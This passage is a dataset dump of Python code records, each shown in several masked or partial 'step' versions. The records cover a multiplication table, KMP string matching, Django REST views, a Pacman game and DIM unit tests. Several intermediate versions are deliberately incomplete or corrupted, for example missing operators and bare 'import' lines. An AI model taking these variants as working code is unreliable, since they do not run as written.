idinfo['iss'] not in ['accounts.google.com', 'https://accounts.google.com']:\n # raise crypt.AppIdentityError(\"Wrong issuer.\")\n return None\n except crypt.AppIdentityError:\n return None\n return idinfo\n\n", "step-ids": [ 1, 2, 3, 4, 5 ] }	[ 1, 2, 3, 4, 5 ]
# Autor : Kevin Oswaldo Palacios Jimenez # Fecha de creacion: 16/09/19 # Se genera un bucle con for # al no tener argumento print no genera ningun cambio # mas que continuar a la siguiente linea for i in range (1,11): encabezado="Tabla del {}" print(encabezado.format(i)) print() # Usaremos un for dentro de otro generando un bucle mas for j in range(1,11): # en donde i tendremos la base # con j tendriamos el elemento salida="{} x {} = {}" print(salida.format(i,j,i*j)) else: # con el bucle teniendo su proceso iterativo # se saltaran las linea pero ejecutando el codigo print()	normal	{ "blob_id": "86f365612e9f15e7658160ecab1d3d9970ca364e", "index": 9699, "step-1": "<mask token>\n", "step-2": "for i in range(1, 11):\n encabezado = 'Tabla del {}'\n print(encabezado.format(i))\n print()\n for j in range(1, 11):\n salida = '{} x {} = {}'\n print(salida.format(i, j, i * j))\n else:\n print()\n", "step-3": "# Autor : Kevin Oswaldo Palacios Jimenez\r\n# Fecha de creacion: 16/09/19 \r\n\r\n# Se genera un bucle con for \r\n# al no tener argumento print no genera ningun cambio \r\n# mas que continuar a la siguiente linea\r\nfor i in range (1,11): \r\n encabezado=\"Tabla del {}\" \r\n print(encabezado.format(i))\r\n\r\n print() \r\n # Usaremos un for dentro de otro generando un bucle mas\r\n for j in range(1,11): \r\n # en donde i tendremos la base \r\n # con j tendriamos el elemento\r\n salida=\"{} x {} = {}\" \r\n print(salida.format(i,j,i*j)) \r\n else: \r\n # con el bucle teniendo su proceso iterativo \r\n # se saltaran las linea pero ejecutando el codigo \r\n print() ", "step-4": null, "step-5": null, "step-ids": [ 0, 1, 2 ] }	[ 0, 1, 2 ]
<\|reserved_special_token_0\|> def get_common(h, n): pi = get_partial_matched(n) begin = 0 matched = 0 while begin + matched < len(h): if matched < len(n) and h[begin + matched] == n[matched]: matched += 1 if matched == len(n): return len(n) - begin elif matched == 0: begin += 1 else: begin += matched - pi[matched - 1] matched = pi[matched - 1] return 0 def solution(status): n = len(status) ret = 0 for i in range(n - 1): clockwise = i % 2 == 0 if clockwise: ret += get_common(2 * status[i], status[i + 1]) else: ret += get_common(2 * status[i + 1], status[i]) return ret <\|reserved_special_token_0\|> <\|reserved_special_token_1\|> def get_partial_matched(n): pi = [0] * len(n) begin = 1 matched = 0 while begin + matched < len(n): if n[begin + matched] == n[matched]: matched += 1 pi[begin + matched - 1] = matched elif matched == 0: begin += 1 else: begin += matched - pi[matched - 1] matched = pi[matched - 1] return pi def get_common(h, n): pi = get_partial_matched(n) begin = 0 matched = 0 while begin + matched < len(h): if matched < len(n) and h[begin + matched] == n[matched]: matched += 1 if matched == len(n): return len(n) - begin elif matched == 0: begin += 1 else: begin += matched - pi[matched - 1] matched = pi[matched - 1] return 0 def solution(status): n = len(status) ret = 0 for i in range(n - 1): clockwise = i % 2 == 0 if clockwise: ret += get_common(2 * status[i], status[i + 1]) else: ret += get_common(2 * status[i + 1], status[i]) return ret <\|reserved_special_token_0\|> <\|reserved_special_token_1\|> def get_partial_matched(n): pi = [0] * len(n) begin = 1 matched = 0 while begin + matched < len(n): if n[begin + matched] == n[matched]: matched += 1 pi[begin + matched - 1] = matched elif matched == 0: begin += 1 else: begin += matched - pi[matched - 1] matched = pi[matched - 1] return pi def get_common(h, n): pi = get_partial_matched(n) begin = 0 matched = 0 while begin + matched < len(h): if matched < len(n) and h[begin + matched] == n[matched]: matched += 1 if matched == len(n): return len(n) - begin elif matched == 0: begin += 1 else: begin += matched - pi[matched - 1] matched = pi[matched - 1] return 0 def solution(status): n = len(status) ret = 0 for i in range(n - 1): clockwise = i % 2 == 0 if clockwise: ret += get_common(2 * status[i], status[i + 1]) else: ret += get_common(2 * status[i + 1], status[i]) return ret <\|reserved_special_token_0\|> for _ in range(C): N = int(input()) status = [] for _ in range(N + 1): status.append(input()) print(solution(status)) <\|reserved_special_token_1\|> def get_partial_matched(n): pi = [0] * len(n) begin = 1 matched = 0 while begin + matched < len(n): if n[begin + matched] == n[matched]: matched += 1 pi[begin + matched - 1] = matched elif matched == 0: begin += 1 else: begin += matched - pi[matched - 1] matched = pi[matched - 1] return pi def get_common(h, n): pi = get_partial_matched(n) begin = 0 matched = 0 while begin + matched < len(h): if matched < len(n) and h[begin + matched] == n[matched]: matched += 1 if matched == len(n): return len(n) - begin elif matched == 0: begin += 1 else: begin += matched - pi[matched - 1] matched = pi[matched - 1] return 0 def solution(status): n = len(status) ret = 0 for i in range(n - 1): clockwise = i % 2 == 0 if clockwise: ret += get_common(2 * status[i], status[i + 1]) else: ret += get_common(2 * status[i + 1], status[i]) return ret C = int(input()) for _ in range(C): N = int(input()) status = [] for _ in range(N + 1): status.append(input()) print(solution(status)) <\|reserved_special_token_1\|> def get_partial_matched(n): pi = [0] * len(n) begin = 1 matched = 0 while begin + matched < len(n): if n[begin + matched] == n[matched]: matched += 1 pi[begin + matched - 1] = matched else: if matched == 0: begin += 1 else: begin += matched - pi[matched - 1] matched = pi[matched - 1] return pi def get_common(h, n): pi = get_partial_matched(n) begin = 0 matched = 0 while begin + matched < len(h): if matched < len(n) and h[begin + matched] == n[matched]: matched += 1 if matched == len(n): return len(n) - begin else: if matched == 0: begin += 1 else: begin += matched - pi[matched - 1] matched = pi[matched - 1] return 0 def solution(status): n = len(status) ret = 0 for i in range(n - 1): clockwise = i % 2 == 0 if clockwise: ret += get_common(2 * status[i], status[i + 1]) else: ret += get_common(2 * status[i + 1], status[i]) return ret C = int(input()) for _ in range(C): N = int(input()) status = [] for _ in range(N + 1): status.append(input()) print(solution(status))	flexible	{ "blob_id": "16a77c45a58e31c575511146dfceeaef0a2bc3a7", "index": 3640, "step-1": "<mask token>\n\n\ndef get_common(h, n):\n pi = get_partial_matched(n)\n begin = 0\n matched = 0\n while begin + matched < len(h):\n if matched < len(n) and h[begin + matched] == n[matched]:\n matched += 1\n if matched == len(n):\n return len(n) - begin\n elif matched == 0:\n begin += 1\n else:\n begin += matched - pi[matched - 1]\n matched = pi[matched - 1]\n return 0\n\n\ndef solution(status):\n n = len(status)\n ret = 0\n for i in range(n - 1):\n clockwise = i % 2 == 0\n if clockwise:\n ret += get_common(2 * status[i], status[i + 1])\n else:\n ret += get_common(2 * status[i + 1], status[i])\n return ret\n\n\n<mask token>\n", "step-2": "def get_partial_matched(n):\n pi = [0] * len(n)\n begin = 1\n matched = 0\n while begin + matched < len(n):\n if n[begin + matched] == n[matched]:\n matched += 1\n pi[begin + matched - 1] = matched\n elif matched == 0:\n begin += 1\n else:\n begin += matched - pi[matched - 1]\n matched = pi[matched - 1]\n return pi\n\n\ndef get_common(h, n):\n pi = get_partial_matched(n)\n begin = 0\n matched = 0\n while begin + matched < len(h):\n if matched < len(n) and h[begin + matched] == n[matched]:\n matched += 1\n if matched == len(n):\n return len(n) - begin\n elif matched == 0:\n begin += 1\n else:\n begin += matched - pi[matched - 1]\n matched = pi[matched - 1]\n return 0\n\n\ndef solution(status):\n n = len(status)\n ret = 0\n for i in range(n - 1):\n clockwise = i % 2 == 0\n if clockwise:\n ret += get_common(2 * status[i], status[i + 1])\n else:\n ret += get_common(2 * status[i + 1], status[i])\n return ret\n\n\n<mask token>\n", "step-3": "def get_partial_matched(n):\n pi = [0] * len(n)\n begin = 1\n matched = 0\n while begin + matched < len(n):\n if n[begin + matched] == n[matched]:\n matched += 1\n pi[begin + matched - 1] = matched\n elif matched == 0:\n begin += 1\n else:\n begin += matched - pi[matched - 1]\n matched = pi[matched - 1]\n return pi\n\n\ndef get_common(h, n):\n pi = get_partial_matched(n)\n begin = 0\n matched = 0\n while begin + matched < len(h):\n if matched < len(n) and h[begin + matched] == n[matched]:\n matched += 1\n if matched == len(n):\n return len(n) - begin\n elif matched == 0:\n begin += 1\n else:\n begin += matched - pi[matched - 1]\n matched = pi[matched - 1]\n return 0\n\n\ndef solution(status):\n n = len(status)\n ret = 0\n for i in range(n - 1):\n clockwise = i % 2 == 0\n if clockwise:\n ret += get_common(2 * status[i], status[i + 1])\n else:\n ret += get_common(2 * status[i + 1], status[i])\n return ret\n\n\n<mask token>\nfor _ in range(C):\n N = int(input())\n status = []\n for _ in range(N + 1):\n status.append(input())\n print(solution(status))\n", "step-4": "def get_partial_matched(n):\n pi = [0] * len(n)\n begin = 1\n matched = 0\n while begin + matched < len(n):\n if n[begin + matched] == n[matched]:\n matched += 1\n pi[begin + matched - 1] = matched\n elif matched == 0:\n begin += 1\n else:\n begin += matched - pi[matched - 1]\n matched = pi[matched - 1]\n return pi\n\n\ndef get_common(h, n):\n pi = get_partial_matched(n)\n begin = 0\n matched = 0\n while begin + matched < len(h):\n if matched < len(n) and h[begin + matched] == n[matched]:\n matched += 1\n if matched == len(n):\n return len(n) - begin\n elif matched == 0:\n begin += 1\n else:\n begin += matched - pi[matched - 1]\n matched = pi[matched - 1]\n return 0\n\n\ndef solution(status):\n n = len(status)\n ret = 0\n for i in range(n - 1):\n clockwise = i % 2 == 0\n if clockwise:\n ret += get_common(2 * status[i], status[i + 1])\n else:\n ret += get_common(2 * status[i + 1], status[i])\n return ret\n\n\nC = int(input())\nfor _ in range(C):\n N = int(input())\n status = []\n for _ in range(N + 1):\n status.append(input())\n print(solution(status))\n", "step-5": "def get_partial_matched(n):\n pi = [0] * len(n)\n begin = 1\n matched = 0\n while begin + matched < len(n):\n if n[begin + matched] == n[matched]:\n matched += 1\n pi[begin + matched - 1] = matched\n else:\n if matched == 0:\n begin += 1\n else:\n begin += matched - pi[matched - 1]\n matched = pi[matched - 1]\n return pi\n\n\ndef get_common(h, n):\n pi = get_partial_matched(n)\n begin = 0\n matched = 0\n while begin + matched < len(h):\n if matched < len(n) and h[begin + matched] == n[matched]:\n matched += 1\n if matched == len(n):\n return len(n) - begin\n else:\n if matched == 0:\n begin += 1\n else:\n begin += matched - pi[matched - 1]\n matched = pi[matched - 1]\n return 0\n\n\ndef solution(status):\n n = len(status)\n ret = 0\n for i in range(n - 1):\n clockwise = i % 2 == 0\n if clockwise:\n ret += get_common(2 * status[i], status[i + 1])\n else:\n ret += get_common(2 * status[i + 1], status[i])\n return ret\n\n\nC = int(input())\n\nfor _ in range(C):\n N = int(input())\n status = []\n for _ in range(N + 1):\n status.append(input())\n print(solution(status))\n", "step-ids": [ 2, 3, 4, 5, 6 ] }	[ 2, 3, 4, 5, 6 ]
<\|reserved_special_token_0\|> class ConcertDetail(RetrieveUpdateDestroyAPIView): permission_classes = IsOwnerOrReadOnly, queryset = Concert.objects.all() serializer_class = ConcertSerializer <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> class ConcertList(ListCreateAPIView): <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> class ConcertDetail(RetrieveUpdateDestroyAPIView): permission_classes = IsOwnerOrReadOnly, queryset = Concert.objects.all() serializer_class = ConcertSerializer <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> class ConcertList(ListCreateAPIView): queryset = Concert.objects.all() serializer_class = ConcertSerializer class ConcertDetail(RetrieveUpdateDestroyAPIView): permission_classes = IsOwnerOrReadOnly, queryset = Concert.objects.all() serializer_class = ConcertSerializer <\|reserved_special_token_1\|> from rest_framework.generics import ListCreateAPIView, RetrieveUpdateDestroyAPIView from .serializers import ConcertSerializer from .models import Concert from .permissions import IsOwnerOrReadOnly class ConcertList(ListCreateAPIView): queryset = Concert.objects.all() serializer_class = ConcertSerializer class ConcertDetail(RetrieveUpdateDestroyAPIView): permission_classes = IsOwnerOrReadOnly, queryset = Concert.objects.all() serializer_class = ConcertSerializer <\|reserved_special_token_1\|> from rest_framework.generics import ListCreateAPIView, RetrieveUpdateDestroyAPIView from .serializers import ConcertSerializer from .models import Concert from .permissions import IsOwnerOrReadOnly class ConcertList(ListCreateAPIView): queryset = Concert.objects.all() serializer_class = ConcertSerializer class ConcertDetail(RetrieveUpdateDestroyAPIView): permission_classes = (IsOwnerOrReadOnly,) queryset = Concert.objects.all() serializer_class = ConcertSerializer	flexible	{ "blob_id": "74ad2ec2cd7cd683a773b0affde4ab0b150d74c5", "index": 4780, "step-1": "<mask token>\n\n\nclass ConcertDetail(RetrieveUpdateDestroyAPIView):\n permission_classes = IsOwnerOrReadOnly,\n queryset = Concert.objects.all()\n serializer_class = ConcertSerializer\n", "step-2": "<mask token>\n\n\nclass ConcertList(ListCreateAPIView):\n <mask token>\n <mask token>\n\n\nclass ConcertDetail(RetrieveUpdateDestroyAPIView):\n permission_classes = IsOwnerOrReadOnly,\n queryset = Concert.objects.all()\n serializer_class = ConcertSerializer\n", "step-3": "<mask token>\n\n\nclass ConcertList(ListCreateAPIView):\n queryset = Concert.objects.all()\n serializer_class = ConcertSerializer\n\n\nclass ConcertDetail(RetrieveUpdateDestroyAPIView):\n permission_classes = IsOwnerOrReadOnly,\n queryset = Concert.objects.all()\n serializer_class = ConcertSerializer\n", "step-4": "from rest_framework.generics import ListCreateAPIView, RetrieveUpdateDestroyAPIView\nfrom .serializers import ConcertSerializer\nfrom .models import Concert\nfrom .permissions import IsOwnerOrReadOnly\n\n\nclass ConcertList(ListCreateAPIView):\n queryset = Concert.objects.all()\n serializer_class = ConcertSerializer\n\n\nclass ConcertDetail(RetrieveUpdateDestroyAPIView):\n permission_classes = IsOwnerOrReadOnly,\n queryset = Concert.objects.all()\n serializer_class = ConcertSerializer\n", "step-5": "from rest_framework.generics import ListCreateAPIView, RetrieveUpdateDestroyAPIView\nfrom .serializers import ConcertSerializer\nfrom .models import Concert\nfrom .permissions import IsOwnerOrReadOnly\n\nclass ConcertList(ListCreateAPIView):\n queryset = Concert.objects.all()\n serializer_class = ConcertSerializer\n\n\nclass ConcertDetail(RetrieveUpdateDestroyAPIView):\n permission_classes = (IsOwnerOrReadOnly,)\n queryset = Concert.objects.all()\n serializer_class = ConcertSerializer\n", "step-ids": [ 2, 3, 4, 5, 6 ] }	[ 2, 3, 4, 5, 6 ]
<\|reserved_special_token_0\|> <\|reserved_special_token_1\|> def add2nums(a, b): return a + b <\|reserved_special_token_1\|> # function to add two numbers def add2nums(a,b): return a+b	flexible	{ "blob_id": "6e2fb9d498294a580426ff408183f7beec135329", "index": 5592, "step-1": "<mask token>\n", "step-2": "def add2nums(a, b):\n return a + b\n", "step-3": "# function to add two numbers\ndef add2nums(a,b):\n return a+b\n", "step-4": null, "step-5": null, "step-ids": [ 0, 1, 2 ] }	[ 0, 1, 2 ]
import pygame from config import * from Map import * from NeuralNetwork import * class Pacman(object): RADIUS = int(TILE_WIDTH/2) def __init__(self, mapa, neural_net): self.mapa = mapa self.pos_x = 11 self.pos_y = 17 self.vel_x = 1 self.vel_y = 0 self.isAlive = True self.Frame = 0 self.score = 0 self.count = 0 self.count2 = 0 self.lastMove = "" self.movesCount = 0 self.neural_network = neural_net def update(self, input_data): self.Frame += 1 self.handle_mov(input_data) self.handle_colision() if(self.count > TimeToStarve): self.killPacman() if(self.Frame == FPS/MPS): self.Frame = 0 def handle_colision(self): if(self.mapa.map[self.pos_y][self.pos_x] == 2): self.mapa.getFruit(self.pos_y,self.pos_x) self.count = 0 self.score += 1 def draw(self, win): pygame.draw.circle( win, pygame.color.Color("yellow"), ( self.pos_x * TILE_WIDTH + self.RADIUS, self.pos_y * TILE_HEIGHT + self.RADIUS ), self.RADIUS ) def handle_mov(self, input_data): movement = (self.vel_x, self.vel_y) vel_list = { 'up': (0, -1), 'down': (0, 1), 'left': (-1, 0), 'right': (1, 0) } movement = vel_list[self.neural_network.nextaction(input_data)] if self.lastMove == movement: self.movesCount += 1 else: self.movesCount = 0 self.lastMove = movement if(self.mapa.map[self.pos_y + movement[1]][self.pos_x + movement[0]] != 1): self.vel_x, self.vel_y = movement if(self.Frame == (FPS/MPS) and self.mapa.map[self.pos_y + self.vel_y][self.pos_x + self.vel_x] != 1): self.pos_x += self.vel_x self.pos_y += self.vel_y self.count2 += 1 self.count += 1 def getPos(self): return (self.pos_x, self.pos_y) def getVel(self): return (self.vel_x, self.vel_y) def killPacman(self): self.isAlive = False	normal	{ "blob_id": "d3b5d87b56421940449fdef48be6da9fa650dd90", "index": 1756, "step-1": "<mask token>\n\n\nclass Pacman(object):\n <mask token>\n\n def __init__(self, mapa, neural_net):\n self.mapa = mapa\n self.pos_x = 11\n self.pos_y = 17\n self.vel_x = 1\n self.vel_y = 0\n self.isAlive = True\n self.Frame = 0\n self.score = 0\n self.count = 0\n self.count2 = 0\n self.lastMove = ''\n self.movesCount = 0\n self.neural_network = neural_net\n\n def update(self, input_data):\n self.Frame += 1\n self.handle_mov(input_data)\n self.handle_colision()\n if self.count > TimeToStarve:\n self.killPacman()\n if self.Frame == FPS / MPS:\n self.Frame = 0\n\n def handle_colision(self):\n if self.mapa.map[self.pos_y][self.pos_x] == 2:\n self.mapa.getFruit(self.pos_y, self.pos_x)\n self.count = 0\n self.score += 1\n\n def draw(self, win):\n pygame.draw.circle(win, pygame.color.Color('yellow'), (self.pos_x \n TILE_WIDTH + self.RADIUS, self.pos_y TILE_HEIGHT + self.\n RADIUS), self.RADIUS)\n <mask token>\n\n def getPos(self):\n return self.pos_x, self.pos_y\n\n def getVel(self):\n return self.vel_x, self.vel_y\n <mask token>\n", "step-2": "<mask token>\n\n\nclass Pacman(object):\n <mask token>\n\n def __init__(self, mapa, neural_net):\n self.mapa = mapa\n self.pos_x = 11\n self.pos_y = 17\n self.vel_x = 1\n self.vel_y = 0\n self.isAlive = True\n self.Frame = 0\n self.score = 0\n self.count = 0\n self.count2 = 0\n self.lastMove = ''\n self.movesCount = 0\n self.neural_network = neural_net\n\n def update(self, input_data):\n self.Frame += 1\n self.handle_mov(input_data)\n self.handle_colision()\n if self.count > TimeToStarve:\n self.killPacman()\n if self.Frame == FPS / MPS:\n self.Frame = 0\n\n def handle_colision(self):\n if self.mapa.map[self.pos_y][self.pos_x] == 2:\n self.mapa.getFruit(self.pos_y, self.pos_x)\n self.count = 0\n self.score += 1\n\n def draw(self, win):\n pygame.draw.circle(win, pygame.color.Color('yellow'), (self.pos_x \n TILE_WIDTH + self.RADIUS, self.pos_y TILE_HEIGHT + self.\n RADIUS), self.RADIUS)\n <mask token>\n\n def getPos(self):\n return self.pos_x, self.pos_y\n\n def getVel(self):\n return self.vel_x, self.vel_y\n\n def killPacman(self):\n self.isAlive = False\n", "step-3": "<mask token>\n\n\nclass Pacman(object):\n RADIUS = int(TILE_WIDTH / 2)\n\n def __init__(self, mapa, neural_net):\n self.mapa = mapa\n self.pos_x = 11\n self.pos_y = 17\n self.vel_x = 1\n self.vel_y = 0\n self.isAlive = True\n self.Frame = 0\n self.score = 0\n self.count = 0\n self.count2 = 0\n self.lastMove = ''\n self.movesCount = 0\n self.neural_network = neural_net\n\n def update(self, input_data):\n self.Frame += 1\n self.handle_mov(input_data)\n self.handle_colision()\n if self.count > TimeToStarve:\n self.killPacman()\n if self.Frame == FPS / MPS:\n self.Frame = 0\n\n def handle_colision(self):\n if self.mapa.map[self.pos_y][self.pos_x] == 2:\n self.mapa.getFruit(self.pos_y, self.pos_x)\n self.count = 0\n self.score += 1\n\n def draw(self, win):\n pygame.draw.circle(win, pygame.color.Color('yellow'), (self.pos_x \n TILE_WIDTH + self.RADIUS, self.pos_y TILE_HEIGHT + self.\n RADIUS), self.RADIUS)\n\n def handle_mov(self, input_data):\n movement = self.vel_x, self.vel_y\n vel_list = {'up': (0, -1), 'down': (0, 1), 'left': (-1, 0), 'right':\n (1, 0)}\n movement = vel_list[self.neural_network.nextaction(input_data)]\n if self.lastMove == movement:\n self.movesCount += 1\n else:\n self.movesCount = 0\n self.lastMove = movement\n if self.mapa.map[self.pos_y + movement[1]][self.pos_x + movement[0]\n ] != 1:\n self.vel_x, self.vel_y = movement\n if self.Frame == FPS / MPS and self.mapa.map[self.pos_y + self.vel_y][\n self.pos_x + self.vel_x] != 1:\n self.pos_x += self.vel_x\n self.pos_y += self.vel_y\n self.count2 += 1\n self.count += 1\n\n def getPos(self):\n return self.pos_x, self.pos_y\n\n def getVel(self):\n return self.vel_x, self.vel_y\n\n def killPacman(self):\n self.isAlive = False\n", "step-4": "import pygame\nfrom config import \nfrom Map import \nfrom NeuralNetwork import \n\n\nclass Pacman(object):\n RADIUS = int(TILE_WIDTH / 2)\n\n def __init__(self, mapa, neural_net):\n self.mapa = mapa\n self.pos_x = 11\n self.pos_y = 17\n self.vel_x = 1\n self.vel_y = 0\n self.isAlive = True\n self.Frame = 0\n self.score = 0\n self.count = 0\n self.count2 = 0\n self.lastMove = ''\n self.movesCount = 0\n self.neural_network = neural_net\n\n def update(self, input_data):\n self.Frame += 1\n self.handle_mov(input_data)\n self.handle_colision()\n if self.count > TimeToStarve:\n self.killPacman()\n if self.Frame == FPS / MPS:\n self.Frame = 0\n\n def handle_colision(self):\n if self.mapa.map[self.pos_y][self.pos_x] == 2:\n self.mapa.getFruit(self.pos_y, self.pos_x)\n self.count = 0\n self.score += 1\n\n def draw(self, win):\n pygame.draw.circle(win, pygame.color.Color('yellow'), (self.pos_x \n TILE_WIDTH + self.RADIUS, self.pos_y * TILE_HEIGHT + self.\n RADIUS), self.RADIUS)\n\n def handle_mov(self, input_data):\n movement = self.vel_x, self.vel_y\n vel_list = {'up': (0, -1), 'down': (0, 1), 'left': (-1, 0), 'right':\n (1, 0)}\n movement = vel_list[self.neural_network.nextaction(input_data)]\n if self.lastMove == movement:\n self.movesCount += 1\n else:\n self.movesCount = 0\n self.lastMove = movement\n if self.mapa.map[self.pos_y + movement[1]][self.pos_x + movement[0]\n ] != 1:\n self.vel_x, self.vel_y = movement\n if self.Frame == FPS / MPS and self.mapa.map[self.pos_y + self.vel_y][\n self.pos_x + self.vel_x] != 1:\n self.pos_x += self.vel_x\n self.pos_y += self.vel_y\n self.count2 += 1\n self.count += 1\n\n def getPos(self):\n return self.pos_x, self.pos_y\n\n def getVel(self):\n return self.vel_x, self.vel_y\n\n def killPacman(self):\n self.isAlive = False\n", "step-5": "import pygame\nfrom config import \nfrom Map import \nfrom NeuralNetwork import \n\n\nclass Pacman(object):\n RADIUS = int(TILE_WIDTH/2)\n def __init__(self, mapa, neural_net):\n self.mapa = mapa\n self.pos_x = 11\n self.pos_y = 17\n\n self.vel_x = 1\n self.vel_y = 0\n\n self.isAlive = True\n\n self.Frame = 0\n self.score = 0\n\n self.count = 0\n self.count2 = 0\n self.lastMove = \"\"\n self.movesCount = 0\n\n self.neural_network = neural_net\n\n def update(self, input_data):\n self.Frame += 1\n\n self.handle_mov(input_data)\n self.handle_colision()\n\n if(self.count > TimeToStarve):\n self.killPacman()\n \n\n if(self.Frame == FPS/MPS):\n self.Frame = 0\n \n \n def handle_colision(self):\n if(self.mapa.map[self.pos_y][self.pos_x] == 2):\n self.mapa.getFruit(self.pos_y,self.pos_x)\n self.count = 0\n self.score += 1\n\n\n def draw(self, win):\n pygame.draw.circle(\n win,\n pygame.color.Color(\"yellow\"),\n (\n self.pos_x TILE_WIDTH + self.RADIUS,\n self.pos_y * TILE_HEIGHT + self.RADIUS\n ), self.RADIUS\n )\n\n \n\n def handle_mov(self, input_data):\n movement = (self.vel_x, self.vel_y)\n vel_list = {\n 'up': (0, -1),\n 'down': (0, 1),\n 'left': (-1, 0),\n 'right': (1, 0)\n }\n\n movement = vel_list[self.neural_network.nextaction(input_data)]\n if self.lastMove == movement:\n self.movesCount += 1\n else:\n self.movesCount = 0\n self.lastMove = movement\n\n\n if(self.mapa.map[self.pos_y + movement[1]][self.pos_x + movement[0]] != 1):\n self.vel_x, self.vel_y = movement\n \n if(self.Frame == (FPS/MPS) and self.mapa.map[self.pos_y + self.vel_y][self.pos_x + self.vel_x] != 1):\n self.pos_x += self.vel_x\n self.pos_y += self.vel_y\n self.count2 += 1\n \n self.count += 1\n\n def getPos(self):\n return (self.pos_x, self.pos_y)\n \n def getVel(self):\n return (self.vel_x, self.vel_y)\n \n def killPacman(self):\n self.isAlive = False", "step-ids": [ 7, 8, 10, 11, 12 ] }	[ 7, 8, 10, 11, 12 ]
<\|reserved_special_token_0\|> class StationTestCase(unittest.TestCase): def test_identifier(self): print('\n---------------- %s' % self) str1 = 'gsp-s001@x77uVYBT1G48CLzW9iwe2dr5jhUNEM772G' id1 = ID(str1) self.assertEqual(id1.address.network, NetworkID.Station) arr1 = [str1] self.assertTrue(id1 in arr1) <\|reserved_special_token_0\|> def test_dimt(self): total_money = 15 * 10000 * 10000 package = 2 ** 20 print('total money: %d, first package: %d' % (total_money, package)) spent = 0 day = 0 year = 0 while spent + package <= total_money and package >= 1: spent += package day += 1 if day % 365 == 0: year += 1 print('year %d, day %d: package=%f, spent=%f' % (year, day, package, spent)) if year % 2 == 0: package /= 2.0 print('DIMT OVER! year=%d, day=%d, pack=%f, spent=%f, left=%f' % ( year, day, package, spent, total_money - spent)) <\|reserved_special_token_0\|> <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> class StationTestCase(unittest.TestCase): def test_identifier(self): print('\n---------------- %s' % self) str1 = 'gsp-s001@x77uVYBT1G48CLzW9iwe2dr5jhUNEM772G' id1 = ID(str1) self.assertEqual(id1.address.network, NetworkID.Station) arr1 = [str1] self.assertTrue(id1 in arr1) def test_btc(self): total_money = 2100 * 10000 package = 50 print('total BTC: %d, first package: %d' % (total_money, package)) spent = 0 order = 0 day = 0 year = 0 while spent + package <= total_money: spent += package order += 1 if order % (6 * 24) == 0: day += 1 if day % 365 == 0: year += 1 print('year %d, day %d: package=%f, spent=%f' % (year, day, package, spent)) if year % 4 == 0: package /= 2.0 print('BTC OVER! year=%d, day=%d, pack=%f, spent=%f, left=%f' % ( year, day, package, spent, total_money - spent)) def test_dimt(self): total_money = 15 * 10000 * 10000 package = 2 ** 20 print('total money: %d, first package: %d' % (total_money, package)) spent = 0 day = 0 year = 0 while spent + package <= total_money and package >= 1: spent += package day += 1 if day % 365 == 0: year += 1 print('year %d, day %d: package=%f, spent=%f' % (year, day, package, spent)) if year % 2 == 0: package /= 2.0 print('DIMT OVER! year=%d, day=%d, pack=%f, spent=%f, left=%f' % ( year, day, package, spent, total_money - spent)) <\|reserved_special_token_0\|> <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> class StationTestCase(unittest.TestCase): def test_identifier(self): print('\n---------------- %s' % self) str1 = 'gsp-s001@x77uVYBT1G48CLzW9iwe2dr5jhUNEM772G' id1 = ID(str1) self.assertEqual(id1.address.network, NetworkID.Station) arr1 = [str1] self.assertTrue(id1 in arr1) def test_btc(self): total_money = 2100 * 10000 package = 50 print('total BTC: %d, first package: %d' % (total_money, package)) spent = 0 order = 0 day = 0 year = 0 while spent + package <= total_money: spent += package order += 1 if order % (6 * 24) == 0: day += 1 if day % 365 == 0: year += 1 print('year %d, day %d: package=%f, spent=%f' % (year, day, package, spent)) if year % 4 == 0: package /= 2.0 print('BTC OVER! year=%d, day=%d, pack=%f, spent=%f, left=%f' % ( year, day, package, spent, total_money - spent)) def test_dimt(self): total_money = 15 * 10000 * 10000 package = 2 ** 20 print('total money: %d, first package: %d' % (total_money, package)) spent = 0 day = 0 year = 0 while spent + package <= total_money and package >= 1: spent += package day += 1 if day % 365 == 0: year += 1 print('year %d, day %d: package=%f, spent=%f' % (year, day, package, spent)) if year % 2 == 0: package /= 2.0 print('DIMT OVER! year=%d, day=%d, pack=%f, spent=%f, left=%f' % ( year, day, package, spent, total_money - spent)) if __name__ == '__main__': unittest.main() <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> import unittest from dimp import ID, NetworkID class StationTestCase(unittest.TestCase): def test_identifier(self): print('\n---------------- %s' % self) str1 = 'gsp-s001@x77uVYBT1G48CLzW9iwe2dr5jhUNEM772G' id1 = ID(str1) self.assertEqual(id1.address.network, NetworkID.Station) arr1 = [str1] self.assertTrue(id1 in arr1) def test_btc(self): total_money = 2100 * 10000 package = 50 print('total BTC: %d, first package: %d' % (total_money, package)) spent = 0 order = 0 day = 0 year = 0 while spent + package <= total_money: spent += package order += 1 if order % (6 * 24) == 0: day += 1 if day % 365 == 0: year += 1 print('year %d, day %d: package=%f, spent=%f' % (year, day, package, spent)) if year % 4 == 0: package /= 2.0 print('BTC OVER! year=%d, day=%d, pack=%f, spent=%f, left=%f' % ( year, day, package, spent, total_money - spent)) def test_dimt(self): total_money = 15 * 10000 * 10000 package = 2 ** 20 print('total money: %d, first package: %d' % (total_money, package)) spent = 0 day = 0 year = 0 while spent + package <= total_money and package >= 1: spent += package day += 1 if day % 365 == 0: year += 1 print('year %d, day %d: package=%f, spent=%f' % (year, day, package, spent)) if year % 2 == 0: package /= 2.0 print('DIMT OVER! year=%d, day=%d, pack=%f, spent=%f, left=%f' % ( year, day, package, spent, total_money - spent)) if __name__ == '__main__': unittest.main() <\|reserved_special_token_1\|> #! /usr/bin/env python3 # -- coding: utf-8 -- """ DIM Station Test ~~~~~~~~~~~~~~~~ Unit test for DIM Station """ import unittest from dimp import ID, NetworkID class StationTestCase(unittest.TestCase): def test_identifier(self): print('\n---------------- %s' % self) str1 = 'gsp-s001@x77uVYBT1G48CLzW9iwe2dr5jhUNEM772G' id1 = ID(str1) self.assertEqual(id1.address.network, NetworkID.Station) arr1 = [str1] self.assertTrue(id1 in arr1) def test_btc(self): total_money = 2100 * 10000 package = 50 print('total BTC: %d, first package: %d' % (total_money, package)) spent = 0 order = 0 day = 0 year = 0 while (spent + package) <= total_money: spent += package order += 1 if order % (6 * 24) == 0: day += 1 if day % 365 == 0: year += 1 print('year %d, day %d: package=%f, spent=%f' % (year, day, package, spent)) if year % 4 == 0: package /= 2.0 print('BTC OVER! year=%d, day=%d, pack=%f, spent=%f, left=%f' % (year, day, package, 